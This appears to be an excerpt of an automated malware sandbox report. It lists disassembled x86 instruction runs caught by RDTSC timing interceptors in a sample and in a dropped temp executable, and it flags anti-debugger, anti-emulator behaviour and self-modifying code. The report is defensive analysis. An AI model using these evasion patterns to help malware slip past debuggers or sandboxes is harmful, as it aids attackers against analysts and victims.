Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C056C second address: 48C0592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 3Eh 0x00000011 mov edi, eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0592 second address: 48C0598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0598 second address: 48C05AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDAD10EAC3Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C05AF second address: 48C05B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2A2CB704h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C05B9 second address: 48C0625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007FDAD10EAC46h 0x0000000d mov dword ptr [esp], esi 0x00000010 jmp 00007FDAD10EAC40h 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dx, B300h 0x0000001d pushfd 0x0000001e jmp 00007FDAD10EAC49h 0x00000023 add eax, 03B3ED06h 0x00000029 jmp 00007FDAD10EAC41h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0625 second address: 48C062B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C062B second address: 48C064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C064B second address: 48C065D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C065D second address: 48C0675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f mov al, bl 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0675 second address: 48C06A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDAD0CA5E2Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06A2 second address: 48C06A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06A7 second address: 48C06CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 0DFC8AE0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDAD0CA5E35h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06CB second address: 48C06DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06DB second address: 48C06DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C06DF second address: 48C071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FDAD10EAC43h 0x00000012 sub ecx, 11C4071Eh 0x00000018 jmp 00007FDAD10EAC49h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C071F second address: 48C0723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0797 second address: 48C079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C079D second address: 48C07A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C07A1 second address: 48C002B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDB43188AD9h 0x00000011 xor eax, eax 0x00000013 jmp 00007FDAD10C436Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 mov edi, eax 0x00000022 cmp edi, 00000000h 0x00000025 setne al 0x00000028 xor ebx, ebx 0x0000002a test al, 01h 0x0000002c jne 00007FDAD10EAC37h 0x0000002e jmp 00007FDAD10EAD29h 0x00000033 call 00007FDAD4F523B0h 0x00000038 mov edi, edi 0x0000003a jmp 00007FDAD10EAC45h 0x0000003f xchg eax, ebp 0x00000040 jmp 00007FDAD10EAC3Eh 0x00000045 push eax 0x00000046 pushad 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C002B second address: 48C00A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FDAD0CA5E33h 0x0000000b sbb eax, 0E6F79EEh 0x00000011 jmp 00007FDAD0CA5E39h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FDAD0CA5E2Eh 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 call 00007FDAD0CA5E2Eh 0x00000026 mov edi, ecx 0x00000028 pop eax 0x00000029 call 00007FDAD0CA5E37h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00A1 second address: 48C00AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00AE second address: 48C00B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00B2 second address: 48C00C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C00C9 second address: 48C0116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDAD0CA5E2Ch 0x00000013 xor al, FFFFFFB8h 0x00000016 jmp 00007FDAD0CA5E2Bh 0x0000001b popfd 0x0000001c mov di, cx 0x0000001f popad 0x00000020 mov dword ptr [ebp-04h], 55534552h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0116 second address: 48C011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0C49 second address: 48C0C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDAD0CA5E36h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov dh, 39h 0x00000013 mov cx, F6D9h 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDAD0CA5E2Bh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0C92 second address: 48C0C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0EC3 second address: 48C0F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDAD0CA5E35h 0x0000000a sub al, 00000066h 0x0000000d jmp 00007FDAD0CA5E31h 0x00000012 popfd 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007FDAD0CA5E30h 0x0000001a jmp 00007FDAD0CA5E35h 0x0000001f popfd 0x00000020 popad 0x00000021 add dword ptr [esp], 3942961Dh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d jmp 00007FDAD0CA5E39h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0F41 second address: 48C0F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0FDF second address: 48C0FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0AFF second address: 48D0B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDAD10EAC41h 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDAD10EAC49h 0x00000017 sbb cx, 3016h 0x0000001c jmp 00007FDAD10EAC41h 0x00000021 popfd 0x00000022 call 00007FDAD10EAC40h 0x00000027 pop edx 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0B66 second address: 48D0B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0B6A second address: 48D0B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0B83 second address: 48D0BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 5662h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FDAD0CA5E35h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDAD0CA5E2Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BB6 second address: 48D0BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BC6 second address: 48D0BEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDAD0CA5E30h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BEE second address: 48D0BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BF2 second address: 48D0BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BF8 second address: 48D0BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0BFE second address: 48D0C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FDAD0CA5E34h 0x0000000f je 00007FDB42D235C1h 0x00000015 pushad 0x00000016 mov edx, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a mov cx, A3CFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0C2B second address: 48D0C41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [769B459Ch], 05h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop esi 0x00000013 push edi 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0C41 second address: 48D0C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD0CA5E31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0C56 second address: 48D0C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDB43180460h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov di, D6EEh 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0C7D second address: 48D0C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD0CA5E31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0D1F second address: 48D0D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC49h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: D2EE6F second address: D2EE79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDAD0CA5E26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0F91 second address: EB0FB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FDAD10EAC45h 0x0000000e jnc 00007FDAD10EAC36h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0FB6 second address: EB0FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0FBC second address: EB0FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EA952F second address: EA95A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD0CA5E2Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c js 00007FDAD0CA5E3Dh 0x00000012 jmp 00007FDAD0CA5E35h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c jmp 00007FDAD0CA5E34h 0x00000021 jmp 00007FDAD0CA5E2Eh 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FDAD0CA5E37h 0x0000002e jnc 00007FDAD0CA5E26h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EAFFEB second address: EAFFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDAD10EAC36h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EAFFF5 second address: EAFFFB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0141 second address: EB014B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB014B second address: EB0150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB031D second address: EB0329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDAD10EAC36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0329 second address: EB0336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FDAD0CA5E2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB0497 second address: EB04B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDAD10EAC43h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB04B0 second address: EB04BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDAD0CA5E2Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB05CE second address: EB05E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB05E3 second address: EB05EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FDAD0CA5E26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB05EE second address: EB05F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB2162 second address: EB21CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDAD0CA5E33h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FDAD0CA5E34h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jnl 00007FDAD0CA5E30h 0x00000023 mov eax, dword ptr [eax] 0x00000025 jnc 00007FDAD0CA5E2Eh 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f jo 00007FDAD0CA5E34h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB21CA second address: EB21CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB2395 second address: EB23C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDAD0CA5E26h 0x0000000a popad 0x0000000b jmp 00007FDAD0CA5E30h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 or dx, CF7Dh 0x0000001b push 66BD9844h 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB23C4 second address: EB23F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 66BD98C4h 0x0000000f mov dword ptr [ebp+122D27F8h], esi 0x00000015 push 00000003h 0x00000017 sub dh, 00000057h 0x0000001a push 00000000h 0x0000001c mov esi, dword ptr [ebp+122D3006h] 0x00000022 push 00000003h 0x00000024 mov edx, dword ptr [ebp+122D2A6Dh] 0x0000002a push 40352998h 0x0000002f pushad 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB23F9 second address: EB240D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDAD0CA5E2Dh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB240D second address: EB2489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 7FCAD668h 0x00000011 jo 00007FDAD10EAC4Dh 0x00000017 lea ebx, dword ptr [ebp+124570AFh] 0x0000001d call 00007FDAD10EAC3Dh 0x00000022 jnl 00007FDAD10EAC3Ch 0x00000028 pop edx 0x00000029 xchg eax, ebx 0x0000002a jns 00007FDAD10EAC3Ah 0x00000030 push eax 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 pop eax 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jns 00007FDAD10EAC48h 0x0000003d jmp 00007FDAD10EAC42h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB2513 second address: EB2518 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB2518 second address: EB2539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D1A4Ah], edx 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D349Eh], edi 0x00000016 push 18D6BA7Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB2539 second address: EB259C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FDAD0CA5E26h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 18D6BAFAh 0x00000015 jmp 00007FDAD0CA5E2Ah 0x0000001a push 00000003h 0x0000001c jo 00007FDAD0CA5E29h 0x00000022 mov di, si 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D1BC7h], ebx 0x0000002d clc 0x0000002e push 00000003h 0x00000030 jnl 00007FDAD0CA5E2Ch 0x00000036 mov esi, 5ED4EF8Dh 0x0000003b push 6031262Ah 0x00000040 push eax 0x00000041 push edx 0x00000042 jnp 00007FDAD0CA5E36h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB259C second address: EB25ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FDAD10EAC36h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 5FCED9D6h 0x00000013 and ecx, dword ptr [ebp+122D2C65h] 0x00000019 pushad 0x0000001a mov si, 9338h 0x0000001e cmc 0x0000001f popad 0x00000020 lea ebx, dword ptr [ebp+124570BAh] 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007FDAD10EAC38h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D332Ch], esi 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push edx 0x0000004c pop edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	RDTSC instruction interceptor: First address: EB25ED second address: EB25F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A83CDF instructions caused by: Self-modifying code
